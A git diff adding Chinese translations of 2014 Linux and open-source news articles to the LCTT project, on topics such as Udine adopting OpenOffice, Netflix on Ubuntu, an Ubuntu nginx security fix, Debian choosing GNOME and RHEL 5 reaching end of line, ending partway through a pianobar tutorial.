+================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Turin_Open_Source.jpg) + +看来拥抱[开源][1]最近在欧洲的国家很流行。上个月我们我只听说[都灵成为意大利首个官方接受开源产品的城市][2]。另一个意大利西北部城市,[乌迪内][3],已经宣布他们正在抛弃微软Office转而迁移到[OpenOffice][4]。 + +乌迪内有100,000的人口并且行政部门有大约900台电脑,它们都运行着微软Windows以及它的默认产品套装。根据[预算文档][5],迁移将在大约12月份时进行,从80台新电脑开始。接着将会是旧电脑迁移到OpenOffice。 + +迁移估计会节省一笔授权费用,不然将会每台电脑花费大约400欧元,总计360,000欧元。但是节约成本并不是迁移的唯一目的,获得常规的软件升级也是其中一个因素。 + +当然从微软的Office到OpenOfifice不会太顺利。不过,全市的培训计划是先让少数员工使用安装了OpenOffice的电脑。 + +如我先前说明的,这似乎在欧洲是一个趋势。在今年早些时候在[西班牙的加那利群岛][7]之后[法国城市图卢兹也使用了LibreOffice中从而节省了100万欧元][6]。相邻的法国城市[日内瓦也有开源方面的迹象][8]。在世界的另一边,政府机构[泰米尔纳德邦][9]和印度喀拉拉邦省也抛弃了微软而使用开源软件。 + +伴随着经济的萧条,我觉得Windows XP的死亡一直是开源的福音。无论是什么原因,我很高兴看到这份名单越来越大。你看呢? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/udine-open-source/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://itsfoss.com/category/open-source-software/ +[2]:http://linux.cn/article-3602-1.html +[3]:http://en.wikipedia.org/wiki/Udine +[4]:https://www.openoffice.org/ +[5]:http://www.comune.udine.it/opencms/opencms/release/ComuneUdine/comune/Rendicontazione/PEG/PEG_2014/index.html?lang=it&style=1&expfolder=???+NavText+??? +[6]:http://linux.cn/article-3575-1.html +[7]:http://itsfoss.com/canary-islands-saves-700000-euro-open-source/ +[8]:http://itsfoss.com/170-primary-public-schools-geneva-switch-ubuntu/ +[9]:http://linux.cn/article-2744-1.html \ No newline at end of file diff --git a/published/201409/20140919 Mir and Unity 8 Status Update Arrives from Ubuntu Devs.md b/published/201409/20140919 Mir and Unity 8 Status Update Arrives from Ubuntu Devs.md new file mode 100644 index 0000000000..97698ad575 --- /dev/null +++ b/published/201409/20140919 Mir and Unity 8 Status Update Arrives from Ubuntu Devs.md @@ -0,0 +1,35 @@ +来自Ubuntu开发团队关于Mir和Unity 8的状态更新 +================================================================================ +> 目前Unity 8和Mir的开发进度很慢,但是仍在进行中 + +![](http://i1-news.softpedia-static.com/images/news2/Mir-and-Unity-8-Update-Arrive-from-Ubuntu-Devs-459263-2.jpg) + +**和其他项目一样,Canonical也在开发Unity桌面环境与Mir显示服务。开发团队刚刚发布了一个小的更新,据此我们可以知道都有些什么进展** + +Ubuntu开发者可能刚刚集中精力在一些重要的发布上,就像接下来的Ubuntu 14.10(Utopic Unicorn) 或者是新的面向移动设备的Ubuntu Touch,但是他们同样也涉及像Mir以及Unity 8这样的项目。 + +目前这代Ubuntu系统使用的是Unity 7桌面环境,但是新一代已经酝酿了很长一段时间。它与新的显示服务一起,已经在Ubuntu的移动版中了,但最终也要将它带到桌面上。 + +这两个项目的领导Kevin Gunn经常发布一些来自开发者的进度信息以及这周以来的一些改变,虽然这些都很粗略。 + +根据 [开发团队][1]的消息, 一些关于触摸/触发角的问题已经修正了,也修复了几个翻译问题,一些Dash UI相关的问题已经修复了,目前 团队在开发Mir 0.8,Mir 0.7.2将被升级,同时一些高优先级的bug处理也在进行中。 + +你可以[下载 Ubuntu Next][7]来体验新的Unity 8以及Mir的特性,但是还不够稳定。要等到成熟还需要一些时间。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Mir-and-Unity-8-Update-Arrive-from-Ubuntu-Devs-459263.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://lists.launchpad.net/ubuntu-phone/msg09875.html +[2]:http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-amd64.iso +[3]:http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-i386.iso +[4]:http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-amd64+mac.iso +[5]:http://cdimage.ubuntu.com/ubuntu-desktop-next/daily-live/current/utopic-desktop-amd64.iso +[6]:http://cdimage.ubuntu.com/ubuntu-desktop-next/daily-live/current/utopic-desktop-i386.iso \ No newline at end of file diff --git a/published/201409/20140919 Netflix Offers to Work with Ubuntu to Bring Native Playback to All.md b/published/201409/20140919 Netflix Offers to Work with Ubuntu to Bring Native Playback to All.md new file mode 100644 index 0000000000..e8b1dc8bfd --- /dev/null +++ b/published/201409/20140919 Netflix Offers to Work with Ubuntu to Bring Native Playback to All.md @@ -0,0 +1,48 @@ +Netflix支持 Ubuntu 上原生回放 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/08/netflix-ubuntu.jpg) + +**我们[上个月说的Netflix 的原生Linux支持很接近了][1],现在终于有了,我们只需几个简单的步骤就可以在Ubuntu桌面上启用HTML 5视频流了。 + +现在Netflix更近一步提供了支持。它希望给Ubuntu带来真正的开箱即用的Netflix回放。现在只需要更新**网络安全(Network Security Services,NSS)**服务库就行。 + +### 原生Netflix? Neato. ### + +在一封发给Ubuntu开发者邮件列表的[邮件中][2],Netflix的Paul Adolph解释了现在的情况: + +> “如果NSS的版本是3.16.2或者更高的话,Netflix可以在Ubuntu 14.04的稳定版Chrome中播放。如果版本超过了14.04,Netflix会作出一些调整,以避免用户必须对浏览器的 User-Agent 参数进行一些修改才能播放。” + +[LCTT 译注:此处原文是“14.02”,疑是笔误,应该是指Ubuntu 14.04。] + +很快要发布的Ubuntu 14.10提供了更新的[NSS v3.17][3], 而目前大多数用户使用的版本 Ubuntu 14.04 LTS 提供的是 v3.15.x。 + +NSS是一系列支持多种安全功能的客户端和服务端应用的库,包括SSL,TLS,PKCS和其他安全标准。为了让Ubuntu LTS用户可以尽快用上原生的HTML5 Netflix, Paul 问道: + +>”让一个新的NSS版本进入更新流的过程是什么?或者有人可以给我提供正确的联系方式么?“ + +Netflix今年早期时在Windows 8.1和OSX Yosemite上提供了HTML5视频回放,而不需要任何额外的下载或者插件。现在可以通过[加密媒体扩展][4]特性来使用。 + +虽然我们等待这讨论取得进展(并且希望可以完全解决),但是你仍可以在Ubuntu上[下面的指导来][5]修改HTML5 Netflix。 + +更新:9/19 + +本文发表后,Canonical 已经确认所需版本的NSS 库会按计划在下个“安全更新”中更新,预计 Ubuntu 14.04 LTS 将在两周内得到更新。 + +这个新闻让 Netflix 的Paul Adolph 很高兴,作为回应,他说当软件包更新后,他将“去掉 Chrome 中回放 Netflix HTML5 视频时的User-Agent 过滤,不再需要修改UA 了”。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/netflix-linux-html5-nss-change-request + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/08/netflix-linux-html5-support-plugins +[2]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2014-September/015048.html +[3]:https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_3.17_release_notes +[4]:http://en.wikipedia.org/wiki/Encrypted_Media_Extensions +[5]:http://www.omgubuntu.co.uk/2014/08/netflix-linux-html5-support-plugins \ No newline at end of file diff --git a/published/201409/20140919 Red Hat Acquires FeedHenry for $82 Million to Advance Mobile Development.md b/published/201409/20140919 Red Hat Acquires FeedHenry for $82 Million to Advance Mobile Development.md new file mode 100644 index 0000000000..45f7718d45 --- /dev/null +++ b/published/201409/20140919 Red Hat Acquires FeedHenry for $82 Million to Advance Mobile Development.md @@ -0,0 +1,37 @@ +Red Hat公司8200万美元收购FeedHenry来推动移动开发 +================================================================================ +> 这是Red Hat公司进入移动开发领域的一次关键收获。 + +Red Hat公司的JBoss开发者工具事业部一直注重于企业开发,而忽略了移动方面。而如今这一切将随着Red Hat公司宣布用8200万美元收购移动开发供应商 [FeedHenry][1] 开始发生改变。这笔交易将在Red Hat公司2015财年的第三季度结束。 + +Red Hat公司的中间件总经理Mike Piech说当交易结束后FeedHenry公司的员工将会变成Red Hat公司的员工。 + +FeedHenry公司的开发平台能让应用开发者快速地开发出Android、IOS、Windows Phone以及黑莓的移动应用。FeedHenry的平台Node.js的编程结构有着深远影响,而那不是过去JBoss所涉及的领域。 + +"这次对FeedHenry公司的收购显著地提高了我们对于Node.js的支持与衔接。" Piech说。 + +Red Hat公司的平台即服务(PaaS)技术OpenShift已经有了一个Node.js的cartridge组件。此外,Red Hat公司的企业版Linux把Node.js的技术预览来作为Red Hat公司软件包的一部分。 + +尽管Node.js本身就是开源的,但不是所有FeedHenry公司的技术能在近期符合开源许可证的要求。作为Red Hat纵贯历史的政策, 现在也是致力于让FeedHenry开源的时候了。 + +"我们完成了收购,那么开源我们所收购的技术就是公司的首要任务,并且我们没有理由因Feedhenry而例外。"Piech说。 + +Red Hat公司最后一次主要的非开源性公司的收购是在2012年用104万美元收购 [ManageIQ][2] 公司。在今年的5月份,Red Hat公司成立了ManageIQ公司的开源项目,开放之前闭源的云管理技术代码。 + +从整合的角度来看,Red Hat公司还尚未精确地提供FeedHenry公司如何融入它的完整信息。 + +"我们已经确定了一些FeedHenry公司和我们已经存在的技术和产品能很好地相互融合和集成的范围," Piech说,"我们会在接下来的90天内分享更多我们发展蓝图的细节。" + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/mobile-wireless/red-hat-acquires-feedhenry-for-82-million-to-advance-mobile-development.html + +作者:[Sean Michael Kerner][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.datamation.com/author/Sean-Michael-Kerner-4807810.html +[1]:http://www.feedhenry.com/ +[2]:http://www.datamation.com/cloud-computing/red-hat-makes-104-million-cloud-management-bid-with-manageiq-acquisition.html diff --git a/published/201409/20140922 Ten Blogs Every Ubuntu User Must Follow.md b/published/201409/20140922 Ten Blogs Every Ubuntu User Must Follow.md new file mode 100644 index 0000000000..0bc0290e0f --- /dev/null +++ b/published/201409/20140922 Ten Blogs Every Ubuntu User Must Follow.md @@ -0,0 +1,103 @@ +10个 Ubuntu 用户一定要知道的博客 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Best_Ubuntu_Blogs.jpg) + +**想要了解更多关于 ubuntu 的资讯,我们应该追哪些网站呢?** + +这是初学者经常会问的一个问题,在这里,我会告诉你们10个我最喜欢的博客,这些博客可以帮助我们解决问题,能让我们及时了解所有 Ubuntu 版本的更新消息。不,我谈论的不是通常的 Linux 和 shell 脚本一类的东东。我是在说一个流畅的 Linux 桌面系统和一个普通的用户所要的关于 Ubuntu 的经验。 + +这些网站帮助你解决你正遇到的问题,提醒你关注各种应用和提供给你来自 Ubuntu 世界的最新消息。这个网站可以让你对 Ubuntu 更了解,所以,下面列出的是10个我最喜欢的博客,它们包括了 Ubuntu 的方方面面。 + +###10个Ubutun用户一定要知道的博客### + +从我开始在 itsfoss 网站上写作开始,我特意把它排除在外,没有列入名单。我也并没有把[Planet Ubuntu][1]列入名单,因为它不适合初学者。废话不多说,让我们一起来看下**最好的乌邦图(ubuntu)博客**(排名不分先后): + +### [OMG! Ubuntu!][2] ### + +这是一个只针对 ubuntu 爱好者的网站。无论多小,只要是和乌邦图有关系的,OMG!Ubuntu 都会收入站内!博客主要包括新闻和应用。你也可以再这里找到一些关于 Ubuntu 的教程,但不是很多。 + +这个博客会让你知道 Ubuntu 世界发生的各种事情。 + +### [Web Upd8][3] ### + +Web Upd8 是我最喜欢的博客。除了涵盖新闻,它有很多容易理解的教程。Web Upd8 还维护了几个PPAs。博主[Andrei][4]有时会在评论里回答你的问题,这对你来说也会是很有帮助的。 + +这是一个你可以了解新闻资讯,学习教程的网站。 + +### [Noobs Lab][5] ### + +和Web Upd8一样,Noobs Lab上也有很多教程,新闻,并且它可能是PPA里最大的主题和图标集。 + +如果你是个新手,去Noobs Lab看看吧。 + +### [Linux Scoop][6] ### + +大多数的博客都是“文字博客”。你通过看说明和截图来学习教程。而 Linux Scoop 上有很多录像来帮助初学者来学习,完全是一个视频博客。 + +比起阅读来,如果你更喜欢视频,Linux Scoop应该是最适合你的。 + +### [Ubuntu Geek][7] ### + +这是一个相对比较老的博客。覆盖面很广,并且有很多快速安装的教程和说明。虽然,有时我发现其中的一些教程文章缺乏深度,当然这也许只是我个人的观点。 + +想要快速小贴士,去Ubuntu Geek。 + +### [Tech Drive-in][8] ### + +这个网站的更新频率好像没有以前那么快了,可能是 Manuel 在忙于他的工作,但是仍然给我们提供了很多的东西。新闻,教程,应用评论是这个博客的亮点。 + +博客经常被收入到[Ubuntu的新闻邀请邮件中][9],Tech Drive-in肯定是一个很值得你去学习的网站。 + +### [UbuntuHandbook][10] ### + +快速小贴士,新闻和教程是UbuntuHandbook的USP。[Ji m][11]最近也在参与维护一些PPAS。我必须很认真的说,这个博客的页面其实可以做得更好看点,纯属个人观点。 + +UbuntuHandbook 真的很方便。 + +### [Unixmen][12] ### + +这个网站是由很多人一起维护的,而且并不仅仅局限于Ubuntu,它也覆盖了很多的其他的Linux发行版。它有自己的论坛来帮助用户。 + +紧跟着 Unixmen 的步伐。。 + +### [The Mukt][13] ### + +The Mukt是Muktware新的代表。Muktware是一个逐渐消亡的Linux组织,并以Mukt重生。Muktware是一个很严谨的Linux开源的博客,The Mukt涉及很多广泛的主题,包括,科技新闻,极客新闻,有时还有娱乐新闻(听起来是否有一种混搭风的感觉?)The Mukt也包括很多你感兴趣的Ubuntu新闻。 + +The Mukt 不仅仅是一个博客,它是一种文化潮流。 + +### [LinuxG][14] ### + +LinuxG是一个你可以找到所有关于“怎样安装”类型文章的站点。几乎所有的文章都开始于一句话“你好,Linux geeksters,正如你所知道的……”,博客可以在不同的主题上做得更好。我经常发现有些是文章缺乏深度,并且是急急忙忙写出来的,但是它仍然是一个关注应用最新版本的好地方。 + +这是个快速浏览新的应用和它们最新的版本好地方。 + +### 你还有什么好的站点吗? ### + +这些就是我平时经常浏览的 Ubuntu 博客。我知道还有很多我不知道的站点,可能会比我列出来的这些更好。所以,欢迎把你最喜爱的 Ubuntu 博客写在下面评论区。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ten-blogs-every-ubuntu-user-must-follow/ + +作者:[Abhishek][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://planet.ubuntu.com/ +[2]:http://www.omgubuntu.co.uk/ +[3]:http://www.webupd8.org/ +[4]:https://plus.google.com/+AlinAndrei +[5]:http://www.noobslab.com/ +[6]:http://linuxscoop.com/ +[7]:http://www.ubuntugeek.com/ +[8]:http://www.techdrivein.com/ +[9]:https://lists.ubuntu.com/mailman/listinfo/ubuntu-news +[10]:http://ubuntuhandbook.org/ +[11]:https://plus.google.com/u/0/+JimUbuntuHandbook +[12]:http://www.unixmen.com/ +[13]:http://www.themukt.com/ +[14]:http://linuxg.net/ diff --git a/published/201409/20140924 Canonical Closes nginx Exploit in Ubuntu 14.04 LTS.md b/published/201409/20140924 Canonical Closes nginx Exploit in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..5b87861224 --- /dev/null +++ b/published/201409/20140924 Canonical Closes nginx Exploit in Ubuntu 14.04 LTS.md @@ -0,0 +1,37 @@ +Canonical解决了一个Ubuntu 14.04 LTS中的nginx漏洞 +================================================================================ +> 用户应该更新他们的系统来修复这个漏洞! + +
![Ubuntu 14.04 LTS](http://i1-news.softpedia-static.com/images/news2/Canonical-Closes-Nginx-Exploit-in-Ubuntu-14-04-LTS-459677-2.jpg)
+ +
*Ubuntu 14.04 LTS*
+ +**Canonical已经在安全公告中公布了这个影响到Ubuntu 14.04 LTS (Trusty Tahr)的nginx漏洞的细节。这个问题已经被确定并被修复了** + +Ubuntu的开发者已经修复了nginx的一个小漏洞。他们解释nginx可能已经被利用来暴露网络上的敏感信息。 + +根据安全公告,“Antoine Delignat-Lavaud和Karthikeyan Bhargavan发现nginx错误地重复使用了缓存的SSL会话。攻击者可能利用此问题,在特定的配置下,可以从不同的虚拟主机获得信息“。 + +对于这些问题的更详细的描述,可以看到Canonical的安全[公告][1]。用户应该升级自己的Linux发行版以解决此问题。 + +这个问题可以通过在系统升级到最新nginx包(和依赖v包)进行修复。要应用该补丁,你可以直接运行升级管理程序。 + +如果你不想使用软件更新器,您可以打开终端,输入以下命令(需要root权限): + + sudo apt-get update + sudo apt-get dist-upgrade + +在一般情况下,一个标准的系统更新将会进行必要的更改。要应用此修补程序您不必重新启动计算机。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Canonical-Closes-Nginx-Exploit-in-Ubuntu-14-04-LTS-459677.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://www.ubuntu.com/usn/usn-2351-1/ \ No newline at end of file diff --git a/published/201409/20140924 Debian 8 Jessie to Have GNOME as the Default Desktop.md b/published/201409/20140924 Debian 8 Jessie to Have GNOME as the Default Desktop.md new file mode 100644 index 0000000000..1a7f03e7fd --- /dev/null +++ b/published/201409/20140924 Debian 8 Jessie to Have GNOME as the Default Desktop.md @@ -0,0 +1,42 @@ +Debian 8 "Jessie" 将把GNOME作为默认桌面环境 +================================================================================ +> Debian的GNOME团队已经取得了实质进展 + +
![The GNOME 3.14 desktop](http://i1-news.softpedia-static.com/images/news2/Debian-8-quot-Jessie-quot-to-Have-GNOME-as-the-Default-Desktop-459665-2.jpg)
+ +
*GNOME 3.14桌面*
+ +**Debian项目开发者花了很长一段时间来决定将Xfce,GNOME或一些其他桌面环境中的哪个作为默认环境,不过目前看起来像是GNOME赢了。** + +[我们两天前提到了][1],GNOME 3.14的软件包被上传到 Debian Testing(Debian 8 “Jessie”)的软件仓库中,这是一个令人惊喜的事情。通常情况下,GNOME的维护者对任何类型的软件包都不会这么快地决定添加,更别说桌面环境。 + +事实证明,关于即将到来的Debian 8的发行版中所用的默认桌面的争论已经尘埃落定,尽管这个词可能有点过于武断。无论什么情况下,总是有些开发者想要Xfce,另外一些则是喜欢 GNOME,看起来 MATE 也是不少人的备选。 + +### 最有可能的是,GNOME将Debian 8“Jessie” 的默认桌面环境### + +我们之所以说“最有可能”是因为协议尚未达成一致,但它看起来GNOME已经遥遥领先了。Debian的维护者和开发者乔伊·赫斯解释了为什么会这样。 + +“根据从 https://wiki.debian.org/DebianDesktop/Requalification/Jessie 初步结果看,一些所需数据尚不可用,但在这一点上,我百分之八十地确定GNOME已经领先了。特别是,由于“辅助功能”和某些“systemd”整合的进度。在辅助功能方面:Gnome和Mate都领先了一大截。其他一些桌面的辅助功能改善了在Debian上的支持,部分原因是这一过程推动的,但仍需要上游大力支持。“ + +“Systemd /etc 整合方面:Xfce,Mate等尽力追赶在这一领域正在发生的变化,当技术团队停止了修改之后,希望有时间能在冻结期间解决这些问题。所以这并不是完全否决这些桌面,但要从目前的状态看,GNOME是未来的选择,“乔伊·赫斯[补充说][2]。 + +开发者在邮件中表示,在Debian的GNOME团队对他们所维护的项目[充满了激情][3],而Debian的Xfce的团队是决定默认桌面的实际阻碍。 + +无论如何,Debian 8“Jessie”没有一个具体发布时间,并没有迹象显示何时可能会被发布。在另一方面,GNOME 3.14已经发布了(也许你已经看到新闻了),它将很快应对好进行Debian的测试。 + +我们也应该感谢Jordi Mallach,在Debian中的GNOME包的维护者之一,他为我们指引了正确的讯息。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Debian-8-quot-Jessie-quot-to-Have-GNOME-as-the-Default-Desktop-459665.shtml + +作者:[Silviu Stahie][a] +译者:[fbigun](https://github.com/fbigun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://news.softpedia.com/news/Debian-8-quot-Jessie-quot-to-Get-GNOME-3-14-459470.shtml +[2]:http://anonscm.debian.org/cgit/tasksel/tasksel.git/commit/?id=dce99f5f8d84e4c885e6beb4cc1bb5bb1d9ee6d7 +[3]:http://news.softpedia.com/news/Debian-Maintainer-Says-that-Xfce-on-Debian-Will-Not-Meet-Quality-Standards-GNOME-Is-Needed-454962.shtml diff --git a/published/201409/20140924 End of the Line for Red Hat Enterprise Linux 5.md b/published/201409/20140924 End of the Line for Red Hat Enterprise Linux 5.md new file mode 100644 index 0000000000..c1a680ecdd --- /dev/null +++ b/published/201409/20140924 End of the Line for Red Hat Enterprise Linux 5.md @@ -0,0 +1,29 @@ +Red Hat Enterprise Linux 5产品线终结 +================================================================================ +2007年3月,红帽公司首次宣布它的[Red Hat Enterprise Linux 5][1](RHEL)平台。虽然如今看来很普通,RHEL 5特别显著的一点是它是红帽公司第一个强调虚拟化的主要发行版本,而这点是如今现代发行版所广泛接受的特性。 + +最初的计划是为RHEL 5提供七年的寿命,但在2012年该计划改变了,红帽为RHEL 5[扩展][2]至10年的标准支持。 + +刚刚过去的这个星期,Red Hat发布的RHEL 5.11是RHEL 5.X系列的最后的、次要里程碑版本。红帽现在进入了将持续三年的名为“production 3”的支持周期。在这阶段将没有新的功能被添加到平台中,并且红帽公司将只提供有重大影响的安全修复程序和紧急优先级的bug修复。 + +平台事业部副总裁兼总经理Jim Totton在红帽公司在一份声明中说:“红帽公司致力于建立一个长期,稳定的产品生命周期,这将给那些依赖Red Hat Enterprise Linux为他们的关键应用服务的企业客户提供关键的益处。虽然RHEL 5.11是RHEL 5平台的最终次要版本,但它提供了安全性和可靠性方面的增强功能,以保持该平台接下来几年的活力。” + +新的增强功能包括安全性和稳定性更新,包括改进了红帽帮助用户调试系统的方式。 + +还有一些新的存储的驱动程序,以支持新的存储适配器和改进在VMware ESXi上运行RHEL的支持。 + +在安全方面的巨大改进是OpenSCAP更新到版本1.0.8。红帽在2011年五月的[RHEL5.7的里程碑更新][3]中第一次支持了OpenSCAP。 OpenSCAP是安全内容自动化协议(SCAP)框架的开源实现,用于创建一个标准化方法来维护安全系统。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxplanet.com/news/end-of-the-line-for-red-hat-enterprise-linux-5.html + +作者:Sean Michael Kerner +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.internetnews.com/ent-news/article.php/3665641 +[2]:http://www.serverwatch.com/server-news/red-hat-extends-linux-support.html +[3]:http://www.internetnews.com/skerner/2011/05/red-hat-enterprise-linux-57-ad.html \ No newline at end of file diff --git a/published/201409/20140924 Second Bugfix Release for KDE Plasma 5 Arrives with Lots of Changes.md b/published/201409/20140924 Second Bugfix Release for KDE Plasma 5 Arrives with Lots of Changes.md new file mode 100644 index 0000000000..243a2c5027 --- /dev/null +++ b/published/201409/20140924 Second Bugfix Release for KDE Plasma 5 Arrives with Lots of Changes.md @@ -0,0 +1,39 @@ +KDE Plasma 5的第二个bug修复版本发布,带来了很多的改变 +================================================================================ +> 新的Plasma 5发布了,带来了新的外观 + + 
![KDE Plasma 5](http://i1-news.softpedia-static.com/images/news2/Second-Bugfix-Release-for-KDE-Plasma-5-Arrives-with-Lots-of-Changes-459688-2.jpg)
+ +
*KDE Plasma 5*
+ +### Plasma 5的第二个bug修复版本发布,已可下载### + +KDE Plasma 5的bug修复版本不断来到,它新的桌面体验将会是KDE的生态系统的一个组成部分。 + +[公告][1]称:“plasma-5.0.2这个版本,新增了一个月以来来自KDE的贡献者新的翻译和修订。Bug修复通常是很小但是很重要,如修正未翻译的文字,使用正确的图标和修正KDELibs 4软件的文件重复现象。它还增加了一个月以来辛勤的翻译成果,使其支持其他更多的语言” + +这个桌面还没有在任何Linux发行版中默认安装,这将持续一段时间,直到我们测试完成。 + +开发者还解释说,更新的软件包可以在Kubuntu Plasma 5的开发版本中进行审查。 + +如果你个人需要它们,你也可以下载源码包。 + +- [KDE Plasma Packages][2] +- [KDE Plasma Sources][3] + +如果你决定去编译它,你必须需要知道 KDE Plasma 5.0.2是一组复杂的软件,可能你需要解决不少问题。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Second-Bugfix-Release-for-KDE-Plasma-5-Arrives-with-Lots-of-Changes-459688.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://kde.org/announcements/plasma-5.0.2.php +[2]:https://community.kde.org/Plasma/Packages +[3]:http://kde.org/info/plasma-5.0.2.php \ No newline at end of file diff --git a/published/201409/20140924 Wal Commander GitHub Edition 0.17 released.md b/published/201409/20140924 Wal Commander GitHub Edition 0.17 released.md new file mode 100644 index 0000000000..98ab4c8567 --- /dev/null +++ b/published/201409/20140924 Wal Commander GitHub Edition 0.17 released.md @@ -0,0 +1,43 @@ +文件管理器 Wal Commander Github 0.17版发布了 +================================================================================ +![](http://wcm.linderdaum.com/wp-content/uploads/2014/09/wc21.png) + +> ### 描述 ### +> +> Wal Commander GitHub 版是一款多平台的开源文件管理器。适用于Windows、Linux、FreeBSD、和OSX。 +> +> 这个从项目的目的是创建一个模仿Far管理器外观和感觉的便携式文件管理器。 + +Wal Commander 的下一个Github稳定版本0.17 已经出来了。主要功能包括: + +- 使用命令历史自动补全; +- 文件关联绑定自定义命令对文件的各种操作; +- 和用XQuartz实验性地支持OS X。 + +很多新的快捷键添加在此版本中。预编译二进制文件适用于Windows64、Linux,FreeBSD和OS X版本,这些可以直接从[GitHub中的源代码][1]编译。 + +### 主要特性 ### + +- 命令行自动补全 (使用Del键删除一条命令) +- 文件关联 (主菜单 -> 命令 -> 文件关联) +- XQuartz上实验性地支持OS X ([https://github.com/corporateshark/WalCommander/issues/5][2]) + +### 下载 ### + +下载:[http://wcm.linderdaum.com/downloads/][3] +源代码: [https://github.com/corporateshark/WalCommander][4] + + +-------------------------------------------------------------------------------- + +via: http://wcm.linderdaum.com/release-0-17-0/ + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/corporateshark/WalCommander/releases +[2]:https://github.com/corporateshark/WalCommander/issues/5 +[3]:http://wcm.linderdaum.com/downloads/ +[4]:https://github.com/corporateshark/WalCommander \ No newline at end of file diff --git a/published/201409/How to listen to Internet radio from the command line on Linux.md b/published/201409/How to listen to Internet radio from the command line on Linux.md new file mode 100644 index 0000000000..25113f2e27 --- /dev/null +++ b/published/201409/How to listen to Internet radio from the command line on Linux.md @@ -0,0 +1,139 @@ +如何在Linux命令行下收听网络电台 +======================================================================== + +对于花大量时间在Linux屏幕前的系统管理员和Linux爱好者来说,网络/本地电台上的音乐可以极大提高生产力,你们知道吗?不管你们相信与否,,在工作环境中有适当的声音,如音乐或者闲聊声包围,都可以提高我们的创造力。如果你喜欢在音乐环境中工作,这个教程也许会对你有用。我将会向你展示**如何在命令行中收听潘多拉(Pandora)在线电台**(LCTT译注:Pandora Internet Radio是一个仅为美国、澳大利亚和新西兰提供自动音乐推荐的系统。详细介绍[Prandoea电台][1]) + +正如你已经知道的,Pandora是最有名的在线电台服务之一,它包含无数的不同种类的免费音乐流,同时它还有一个强大的音乐推荐引擎。Pandora可以通过不同的方式访问,如:浏览器,桌面客户端或者手机Apps,开源社区还给出了另一种访问Pandora音乐服务的方法:Linux命令行。 + +[pianobar][2]是一个播放Pandora在线电台音乐的开源命令行音乐播放器。它有一个简单的终端接口,用于播放和管理音乐电台。同时还有其他包括歌曲评价,即将上线音乐列表,播放历史,自定义快捷键绑定,远程控制等功能。对于那些居住在不可访问Pandora音乐服务区域的用户(即美国、澳大利亚和新西兰以外的用户),Pianobar还配置了代理服务的支持。 + +###在Linux中安装Pianobar### + +在Debian或者其他Debian的衍生品中,如Ubuntu或LinuxMint,Pianobar是一个已经编译好的软件包,因此安装Pianobar只是简单的输入如下命令: + $ sudo apt-get install pianobar + 